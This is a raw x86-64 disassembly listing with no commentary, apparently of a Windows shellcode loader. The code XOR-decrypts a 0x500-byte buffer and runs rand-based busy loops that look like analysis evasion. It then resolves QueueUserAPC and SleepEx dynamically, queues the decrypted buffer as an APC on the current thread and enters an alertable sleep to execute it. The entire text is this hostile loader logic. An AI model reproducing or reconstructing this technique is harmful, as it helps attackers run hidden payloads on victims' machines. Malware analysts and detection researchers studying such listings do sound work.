add dword [rbp + 0x848], 1
mov eax, dword [rbp + 0x848]
cmp eax, 0x71
jbe 0x1400027e8
mov dword [rbp + 0x848], 0
jmp 0x140002a57
cmp dword [rbp + 0x840], 0x71
jne 0x140002a0b
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x840]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x840], 0
jmp 0x140002a50
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x840]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x848]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x840], 1
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x4ff
jle 0x1400029b8
mov dword [rbp + 0x830], 0xffffffff
mov ecx, 0xb90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov ecx, 0xb90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
add dword [rbp + 0x830], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x830]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d60
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x830], 0x170
jle 0x140002a93
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x82c], 0xffffffff
add dword [rbp + 0x82c], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x68c], eax
mov ecx, dword [rbp + 0x68c]
mov eax, ecx
add eax, eax
add eax, ecx
lea ecx, [rax*8]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x68c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x68c]
movq xmm0, rax
call fcn.140004230
movq rax, xmm0
mov qword [rbp + 0x680], rax
cmp dword [rbp + 0x82c], 0x190
jle 0x140002bd2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret